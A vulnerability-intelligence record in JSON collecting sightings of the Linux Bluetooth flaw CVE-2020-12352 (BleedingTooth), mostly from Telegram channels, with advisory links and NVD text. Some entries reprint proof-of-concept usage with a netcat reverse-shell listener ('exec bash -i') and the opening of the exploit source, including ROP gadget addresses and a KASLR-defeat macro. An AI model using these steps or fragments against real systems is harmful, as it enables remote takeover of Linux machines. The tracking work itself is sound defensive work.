{"vulnerability": "cve-2020-12352", "sightings": [{"uuid": "328f0c11-636e-431b-b800-864c5f573631", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-12352", "type": "seen", "source": "MISP/c44a1e3b-f87a-48da-ab8c-85c16118c54c", "content": "", "creation_timestamp": "2024-11-14T06:08:51.000000Z"}, {"uuid": "3f73aded-d0a3-4e3e-b086-9c3618a8097b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-12352", "type": "seen", "source": "https://t.me/novitoll_ch/105", "content": "https://youtu.be/iEByzdTp-44\n\n\u0420\u0430\u0437\u043e\u0431\u0440\u0430\u043b CVE-2020-12352 (stack leak \u0432 struct a2mp_info_rsp),  CVE-2020-12351 (heap-based type confusion \u0432  sk_filter(struct amp_mgr data)),  \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u043b, \u0447\u0442\u043e \u0443 \u043c\u0435\u043d\u044f \u0441 Bluetooth 4.1  \u043d\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 CVE-2020-24490, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u0430\u043b\u0438\u0434\u0435\u043d  \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043b\u044f Bluetooth 5 chip + \u0432 \u0440\u0435\u0436\u0438\u043c\u0435 \u0441\u043b\u0443\u0448\u0430\u043d\u0438\u044f. \n\n\u041d\u0430 \u0441\u043b\u0435\u0434 \u0440\u0430\u0437 \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043b\u044e Ubuntu 20.04 + KASAN, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u0442\u0435\u043a\u0443\u0449\u0438\u0439 \u043d\u0435 \u0437\u0430\u0432\u0435\u043b\u0441\u044f \u043f\u043e\u0447\u0435\u043c\u0443-\u0442\u043e, \u043c\u0431 BusyBox \u0434\u0430\u0436\u0435 \u043b\u0443\u0447\u0448\u0435 \u0431\u0443\u0434\u0435\u0442.  \u0418 \u0435\u0449\u0435 \u0431\u044b \u0441\u0442\u0430\u0442\u044c\u044e \u043d\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0447\u0442\u043e \u043b\u0438 \u0434\u043b\u044f \u0430\u043d\u0433\u043b\u043e\u043f\u0443\u0431\u043b\u0438\u043a\u0438. Stay tuned ^_^", "creation_timestamp": "2020-10-17T21:21:58.000000Z"}, {"uuid": "b09c446c-babb-4bbb-b902-73d0d1655989", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-12352", "type": "published-proof-of-concept", "source": "https://t.me/novitoll_ch/101", "content": "BleedingTooth. \u0437\u0430\u0432\u0442\u0440\u0430 \u0432 \u043c\u043e\u0435\u043c \u0447\u0430\u0442\u0435 (@binexp) \u043f\u043e\u0433\u043e\u0432\u043e\u0440\u0438\u043c \u043f\u0440\u043e CVE-2020-12351, CVE-2020-12352.   \u041f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u0442\u044c\u0441\u044f \u043f\u043e \u043a\u0440\u0443\u043f\u0438\u043d\u043a\u0435 \u0447\u0442\u043e \u043f\u0440\u043e\u0438\u0437\u043e\u0448\u043b\u043e, \u0435\u0441\u0442\u044c \u0442\u043e\u043b\u044c\u043a\u043e PoC, \u043f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u0442\u044c \u0435\u0433\u043e. \u042d\u0442\u043e\u0442 1-day  2-3 \u0434\u043d\u044f \u043d\u0430\u0437\u0430\u0434 Google p0 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b (Andy Ngyuen). \u0421\u0432\u0435\u0436\u0430\u0447\u043e\u043a. \u041c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043d\u0438\u0447\u0435\u0433\u043e \u0438 \u043d\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u0441\u044f, \u043d\u043e \u043f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c", "creation_timestamp": "2020-10-16T13:11:28.000000Z"}, {"uuid": "c8cfdb8d-4a2f-451f-b814-431900a9e106", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-12352", "type": "seen", "source": "https://t.me/arpsyndicate/108", "content": "#ExploitObserverAlert\n\nCVE-2020-12352\n\nDESCRIPTION: Exploit Observer has 13 entries related to CVE-2020-12352. Improper access control in BlueZ may allow an unauthenticated user to potentially enable information disclosure via adjacent access.\n\nFIRST-EPSS: 0.002190000\nNVD-IS: 3.6\nNVD-ES: 2.8", "creation_timestamp": "2023-11-12T02:51:29.000000Z"}, {"uuid": "b3987ee8-2a5a-4a90-babf-0be6a6a1c98b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-12352", "type": "published-proof-of-concept", "source": "https://t.me/indoghostsec/4628", "content": "BleedingTooth: Linux Bluetooth Zero-Click Remote Code Execution\nt.me/indoghostsec\n\nThis Proof-Of-Concept demonstrates the exploitation of CVE-2020-12351 and CVE-2020-12352.\n\nUsage:\n\n$ gcc -o exploit exploit.c -lbluetooth\nand execute it as:\n\n$ sudo ./exploit target_mac source_ip source_port\nIn another terminal, run:\n\n$ nc -lvp 1337\nexec bash -i 2>&0 1>&0\nIf successful, a calc can be spawned with:\n\nexport XAUTHORITY=/run/user/1000/gdm/Xauthority\nexport DISPLAY=:0\ngnome-calculator\nThis Proof-Of-Concept has been tested against a Dell XPS 15 running Ubuntu 20.04.1 LTS with:\n\n5.4.0-48-generic #52-Ubuntu SMP Thu Sep 10 10:58:49 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux\nThe success rate of the exploit is estimated at 80%.", "creation_timestamp": "2021-04-07T17:47:27.000000Z"}, {"uuid": "4a133813-c3c3-484e-9e8d-f4b2ba3aa62e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-12352", "type": "seen", "source": "https://t.me/pwnwiki_zhchannel/102", "content": "CVE-2020-12352&CVE-2020-12351 Linux Kernel 5.4 BleedingTooth\u9060\u7a0b\u4ee3\u78bc\u57f7\u884c\u6f0f\u6d1e\nhttps://short.pwnwiki.org/?c=U8IwVQ", "creation_timestamp": "2021-09-21T06:42:51.000000Z"}, {"uuid": "307a77e1-f93e-460b-9b3d-16d0e4260724", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-12352", "type": "seen", "source": "Telegram/1SdwprOVdb8UnB6pfbpAkY-fUCwfpBEygpivxQXaNxJCvw", "content": "", "creation_timestamp": "2026-08-01T15:00:04.238316Z"}, {"uuid": "1779dea9-c919-4484-a413-3c77ba67c267", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-12352", "type": "seen", "source": "https://t.me/SecLabNews/9073", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u043c \u0441\u0442\u0435\u043a\u0435 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u043e\u0432 Bluetooth \u0432 \u044f\u0434\u0440\u0435 Linux (CVE-2020-12351, CVE-2020-12352 \u0438 CVE-2020-24490), \u043f\u043e\u043b\u0443\u0447\u0438\u0432\u0448\u0438\u0435 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 BleedingTooth, \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0434\u043b\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0438\u043b\u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438.     \n\ufeff\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0441\u0442\u0435\u043a\u0435 Bluetooth \u0434\u043b\u044f Linux \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u0442\u044c \u0430\u0442\u0430\u043a\u0438 zero-click", "creation_timestamp": "2020-10-15T10:10:02.000000Z"}, {"uuid": "1dff58c7-4a03-4092-9a4f-5b4468b71f91", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-12352", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/1918", "content": "#WLAN_Security\nBleedingTooth:\nVulnerabilities in Linux Bluetooth Allow 0-Click Attacks:\n1. CVE-2020-12351.\nHeap-Based Type Confusion in L2CAP:\nhttps://github.com/google/security-research/security/advisories/GHSA-h637-c88j-47wq\n2. CVE-2020-12352.\nBadChoice - Stack-Based Infoleak in A2MP:\nhttps://github.com/google/security-research/security/advisories/GHSA-7mh3-gq28-gfrq\n3. CVE-2020-24490.\nHeap-Based Buffer Overflow in HCI event packet parser:\nhttps://github.com/google/security-research/security/advisories/GHSA-ccx2-w2r4-x649", "creation_timestamp": "2024-07-19T19:59:44.000000Z"}, {"uuid": "a2504b80-f403-41d7-903a-f12b4cca1e03", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-12352", "type": "published-proof-of-concept", "source": "https://t.me/binary_xor/462", "content": "CVE-2020-12352. \u041f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e \u0440\u0430\u0431\u043e\u0442\u0443 \u043d\u0430\u0434 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u043c \u043f\u043e \u043b\u0438\u043a\u0443 \u0441\u0442\u044d\u043a\u0430 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b struct a2mp_info_rsp. \u0427\u0435\u0442 \u043f\u043e\u043a\u0430 \u0447\u0442\u043e \u0445\u0437 \u043a\u0430\u043a \u044d\u0442\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c, \u043d\u043e \u0435\u0441\u0442\u044c \u0438\u0434\u0435\u0438. \u0422\u0430\u043a \u043a\u0430\u043a, \u0442\u0430\u043c \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430 __packed \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f \u0442\u0430\u043a\u0438\u0435 \u0431\u0430\u0439\u0442\u044b \u043f\u0440\u0438 \u043b\u0438\u043a\u0435.", "creation_timestamp": "2020-11-19T19:10:18.000000Z"}, {"uuid": "b800b024-054c-4fe0-9b53-0b9d9501443c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-12352", "type": "seen", "source": "https://t.me/cibsecurity/15909", "content": "\u203c CVE-2020-25662 \u203c\n\nA Red Hat only CVE-2020-12352 regression issue was found in the way the Linux kernel's Bluetooth stack implementation handled the initialization of stack memory when handling certain AMP packets. This flaw allows a remote attacker in an adjacent range to leak small portions of stack memory on the system by sending specially crafted AMP packets. The highest threat from this vulnerability is to data confidentiality.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2020-11-06T00:49:47.000000Z"}, {"uuid": "23a30045-fb33-4bc3-8177-b81468a5afde", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-12352", "type": "seen", "source": "https://t.me/cibsecurity/16717", "content": "\u203c CVE-2020-12352 \u203c\n\nImproper access control in BlueZ may allow an unauthenticated user to potentially enable information disclosure via adjacent access.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2020-11-23T20:46:01.000000Z"}, {"uuid": "32c37cb5-8af4-4664-b482-8bde23843498", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-12352", "type": "seen", "source": "Telegram/1SdwprOVdb8UnB6pfbpAkY-fUCwfpBEygpivxQXaNxJCvw", "content": "", "creation_timestamp": "2026-08-02T00:00:42.836597Z"}, {"uuid": "b6d23356-0b2f-46df-b79d-650fc5112f26", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-12352", "type": "seen", "source": "Telegram/1SdwprOVdb8UnB6pfbpAkY-fUCwfpBEygpivxQXaNxJCvw", "content": "", "creation_timestamp": "2026-07-29T12:01:51.284201Z"}, {"uuid": "4ff6a632-98df-49aa-afcb-6eb36518f8c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-12352", "type": "seen", "source": "Telegram/1SdwprOVdb8UnB6pfbpAkY-fUCwfpBEygpivxQXaNxJCvw", "content": "", "creation_timestamp": "2026-07-30T00:02:03.020536Z"}, {"uuid": "e841dc1d-d17e-40ec-b5cf-2a351d732bd0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-12352", "type": "seen", "source": "https://t.me/cissp/1946", "content": "1.Hacking HTTP CORS from inside out -\na theory to practice approach\nhttps://medium.com/bugbountywriteup/hacking-http-cors-from-inside-out-512cb125c528\n\n2.Vulnerabilities in Linux Bluetooth Allow , Zero-Click Attacks-BleedingTooth- CVE-2020-12351\nHeap-Based Type Confusion in L2CAP (PoC):\nhttps://github.com/google/security-research/security/advisories/GHSA-h637-c88j-47wq\n\n3.CVE-2020-12352\nBadChoice - Stack-Based Information Leak in A2MP (PoC):\nhttps://github.com/google/security-research/security/advisories/GHSA-7mh3-gq28-gfrq\n\n4.CVE-2020-24490.\nHeap-Based Buffer Overflow in HCI event packet parser (PoC):\nhttps://github.com/google/security-research/security/advisories/GHSA-ccx2-w2r4-x649\n\n5.Amazon Kindle - iOS App Reverse Engineering for eBooks Leaking\", 2020.\nhttps://abjurato.github.io/stories/kindleEbooks.html", "creation_timestamp": "2026-09-01T17:01:09.150303Z"}, {"uuid": "59658aaa-be05-4ddf-8ce9-84bce31011db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-12352", "type": "seen", "source": "https://t.me/hacking_Attack/4220", "content": "Exploit Collector\nLinux Kernel 5.4 BleedingTooth Remote Code Execution\n\nhttps://3.bp.blogspot.com/-Gb5I5b_xjQ0/WWlu86s-SoI/AAAAAAAAIJk/Vrr0JqyMe7wOp_97KyfJoVRHnDW4ZjPNwCLcBGAs/s1600/h112.png \nLinux kernel version 5.4 BleedingTooth bluetooth zero-click proof of concept remote code execution exploit.\n\nMD5 | 11e39065cefe8b6ef7461c14faa79210\n\nDownload\n/*\n* BleedingTooth: Linux Bluetooth Zero-Click Remote Code Execution\n* by Andy Nguyen (theflow@)\n*\n* This Proof-Of-Concept demonstrates the exploitation of\n* CVE-2020-12351 and CVE-2020-12352.\n*\n* Compile using:\n*   $ gcc -o exploit exploit.c -lbluetooth\n*\n* and execute as:\n*   $ sudo ./exploit target_mac source_ip source_port\n*\n* In another terminal, run:\n*   $ nc -lvp 1337\n*   exec bash -i 2>&0 1>&0\n*\n* If successful, a calc can be spawned with:\n*   export XAUTHORITY=/run/user/1000/gdm/Xauthority\n*   export DISPLAY=:0\n*   gnome-calculator\n*\n* This Proof-Of-Concept has been tested against a Dell XPS 15 running\n* Ubuntu 20.04.1 LTS with:\n* - 5.4.0-48-generic #52-Ubuntu SMP Thu Sep 10 10:58:49 UTC 2020\n*   x86_64 x86_64 x86_64 GNU/Linux\n*\n* The success rate of the exploit is estimated at 80%.\n*/\n\n#include <bluetooth\n#include <bluetooth\n#include <bluetooth\n#include <bluetooth\n#include <errno.h\n#include <stdlib.h\n#include <sys\n#include <sys\n#include <unistd.h\n\n#define REMOTE_COMMAND \"/bin/bash -c /bin/bash\n\n// Increase if the heap spray is not reliable.\n#define NUM_SPRAY_KMALLOC_1024 6\n#define NUM_SPRAY_KMALLOC_128 6\n\n// Increase if stuck at sending packets.\n#define HCI_SEND_ACL_DATA_WAIT_USEC 5000\n\n#define KERNEL_TEXT_BASE 0xffffffff81000000\n\n#define KERNEL_UBUNTU_5_4_0_48 1\n\n#ifdef KERNEL_UBUNTU_5_4_0_48\n#define PUSH_RSI_ADD_BYTE_PTR_RBX_41_BL_POP_RSP_POP_RBP_RET 0xffffffff81567f46\n#define POP_RAX_RET 0xffffffff8103d0b1\n#define POP_RDI_RET 0xffffffff8108efa0\n#define JMP_RAX 0xffffffff8100005b\n#define RUN_CMD 0xffffffff810ce470\n#define DO_TASK_DEAD 0xffffffff810dc260\n\n#define KASLR_DEFEAT(kaslr_offset, kernel_addr)                                \\\ndo {                                                                         \\\nif ((kernel_addr & 0xfffff) == 0xf4d8e)                                    \\\nkaslr_offset = kernel_addr - KERNEL_TEXT_BASE - 0xf4d8e;                 \\\nelse                                                                       \\\nkaslr_offset = kernel_addr - KERNEL_TEXT_BASE - 0xc001a4;                \\\n} while (0)\n#else\n#error \"No kernel version defined\"", "creation_timestamp": "2026-09-01T20:02:48.048276Z"}, {"uuid": "a12a9754-1131-47d5-8c7f-9906e2010528", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-12352", "type": "seen", "source": "https://t.me/hacking_Attack/4220", "content": "Exploit Collector\nLinux Kernel 5.4 BleedingTooth Remote Code Execution\n\nhttps://3.bp.blogspot.com/-Gb5I5b_xjQ0/WWlu86s-SoI/AAAAAAAAIJk/Vrr0JqyMe7wOp_97KyfJoVRHnDW4ZjPNwCLcBGAs/s1600/h112.png \nLinux kernel version 5.4 BleedingTooth bluetooth zero-click proof of concept remote code execution exploit.\n\nMD5 | 11e39065cefe8b6ef7461c14faa79210\n\nDownload\n/*\n* BleedingTooth: Linux Bluetooth Zero-Click Remote Code Execution\n* by Andy Nguyen (theflow@)\n*\n* This Proof-Of-Concept demonstrates the exploitation of\n* CVE-2020-12351 and CVE-2020-12352.\n*\n* Compile using:\n*   $ gcc -o exploit exploit.c -lbluetooth\n*\n* and execute as:\n*   $ sudo ./exploit target_mac source_ip source_port\n*\n* In another terminal, run:\n*   $ nc -lvp 1337\n*   exec bash -i 2>&0 1>&0\n*\n* If successful, a calc can be spawned with:\n*   export XAUTHORITY=/run/user/1000/gdm/Xauthority\n*   export DISPLAY=:0\n*   gnome-calculator\n*\n* This Proof-Of-Concept has been tested against a Dell XPS 15 running\n* Ubuntu 20.04.1 LTS with:\n* - 5.4.0-48-generic #52-Ubuntu SMP Thu Sep 10 10:58:49 UTC 2020\n*   x86_64 x86_64 x86_64 GNU/Linux\n*\n* The success rate of the exploit is estimated at 80%.\n*/\n\n#include <bluetooth\n#include <bluetooth\n#include <bluetooth\n#include <bluetooth\n#include <errno.h\n#include <stdlib.h\n#include <sys\n#include <sys\n#include <unistd.h\n\n#define REMOTE_COMMAND \"/bin/bash -c /bin/bash\n\n// Increase if the heap spray is not reliable.\n#define NUM_SPRAY_KMALLOC_1024 6\n#define NUM_SPRAY_KMALLOC_128 6\n\n// Increase if stuck at sending packets.\n#define HCI_SEND_ACL_DATA_WAIT_USEC 5000\n\n#define KERNEL_TEXT_BASE 0xffffffff81000000\n\n#define KERNEL_UBUNTU_5_4_0_48 1\n\n#ifdef KERNEL_UBUNTU_5_4_0_48\n#define PUSH_RSI_ADD_BYTE_PTR_RBX_41_BL_POP_RSP_POP_RBP_RET 0xffffffff81567f46\n#define POP_RAX_RET 0xffffffff8103d0b1\n#define POP_RDI_RET 0xffffffff8108efa0\n#define JMP_RAX 0xffffffff8100005b\n#define RUN_CMD 0xffffffff810ce470\n#define DO_TASK_DEAD 0xffffffff810dc260\n\n#define KASLR_DEFEAT(kaslr_offset, kernel_addr)                                \\\ndo {                                                                         \\\nif ((kernel_addr & 0xfffff) == 0xf4d8e)                                    \\\nkaslr_offset = kernel_addr - KERNEL_TEXT_BASE - 0xf4d8e;                 \\\nelse                                                                       \\\nkaslr_offset = kernel_addr - KERNEL_TEXT_BASE - 0xc001a4;                \\\n} while (0)\n#else\n#error \"No kernel version defined\"", "creation_timestamp": "2026-09-02T01:03:24.193918Z"}, {"uuid": "abcf8f69-de1e-4e5b-98ed-cc85ae0db7ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-12352", "type": "seen", "source": "https://t.me/cissp/1946", "content": "1.Hacking HTTP CORS from inside out -\na theory to practice approach\nhttps://medium.com/bugbountywriteup/hacking-http-cors-from-inside-out-512cb125c528\n\n2.Vulnerabilities in Linux Bluetooth Allow , Zero-Click Attacks-BleedingTooth- CVE-2020-12351\nHeap-Based Type Confusion in L2CAP (PoC):\nhttps://github.com/google/security-research/security/advisories/GHSA-h637-c88j-47wq\n\n3.CVE-2020-12352\nBadChoice - Stack-Based Information Leak in A2MP (PoC):\nhttps://github.com/google/security-research/security/advisories/GHSA-7mh3-gq28-gfrq\n\n4.CVE-2020-24490.\nHeap-Based Buffer Overflow in HCI event packet parser (PoC):\nhttps://github.com/google/security-research/security/advisories/GHSA-ccx2-w2r4-x649\n\n5.Amazon Kindle - iOS App Reverse Engineering for eBooks Leaking\", 2020.\nhttps://abjurato.github.io/stories/kindleEbooks.html", "creation_timestamp": "2026-09-02T01:04:58.974102Z"}, {"uuid": "8da5246a-5f35-4cd8-897d-e0fd8cdbf0cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-12352", "type": "seen", "source": "https://t.me/timcore_hacking/1025", "content": "\u041e\u0431\u0437\u043e\u0440 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0437\u0430 \u043d\u0435\u0434\u0435\u043b\u044e: 16 \u043e\u043a\u0442\u044f\u0431\u0440\u044f 2020 \u0433\u043e\u0434\u0430\n\n\u0411\u044b\u043b\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 Microsoft, Adobe Flash Player, \u0441\u0442\u0435\u043a\u0435 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u043e\u0432 Bluetooth \u0432 \u044f\u0434\u0440\u0435 Linux \u0438 \u043f\u0440.\nimage\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Microsoft \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043f\u043b\u0430\u043d\u043e\u0432\u044b\u0435 \u0435\u0436\u0435\u043c\u0435\u0441\u044f\u0447\u043d\u044b\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0434\u043b\u044f \u0441\u0432\u043e\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432, \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0435 \u0432 \u043e\u0431\u0449\u0435\u0439 \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438 87 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u0421\u0430\u043c\u043e\u0439 \u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u043e\u0439 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0432 \u0441\u0442\u0435\u043a\u0435 Windows TCP/IP ( CVE-2020-16898 ). \u0415\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u0438\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 Windows \u043f\u0443\u0442\u0435\u043c \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 ICMPv6 Router Advertisement \u0447\u0435\u0440\u0435\u0437 \u0441\u0435\u0442\u0435\u0432\u043e\u0435 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435.\n\n\u0414\u0440\u0443\u0433\u0438\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0432\u043a\u043b\u044e\u0447\u0430\u044e\u0442 RCE-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c ( CVE-2020-16947 ) \u0432 Microsoft Outlook, \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Windows Hyper-V ( CVE-2020-16891 ), \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0432 \u043d\u0430\u0431\u043e\u0440\u0435 \u043a\u043e\u0434\u0435\u043a\u043e\u0432 Microsoft Windows Camera ( CVE-2020-16967 \u0438 CVE-2020-16968 ), RCE-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 SharePoint Server ( CVE-2020-16951 \u0438 CVE-2020-16952 ), \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0435 Media Foundation ( CVE-2020-16915 ), \u0434\u0432\u0438\u0436\u043a\u0435 \u0440\u0435\u043d\u0434\u0435\u0440\u0438\u043d\u0433\u0430 Base3D ( CVE-2020-17003 ), \u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430\u0445 ( CVE-2020-16923 ) \u0438 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 Windows Graphics Device Interface ( CVE-2020-16911 )\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Adobe \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0432 \u041f\u041e Adobe Flash Player ( CVE-2020-9746 ). \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u043e\u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0443\u0442\u0435\u043c \u0432\u0441\u0442\u0430\u0432\u043a\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u0441\u0442\u0440\u043e\u043a \u0432 HTTP-\u043e\u0442\u0432\u0435\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e 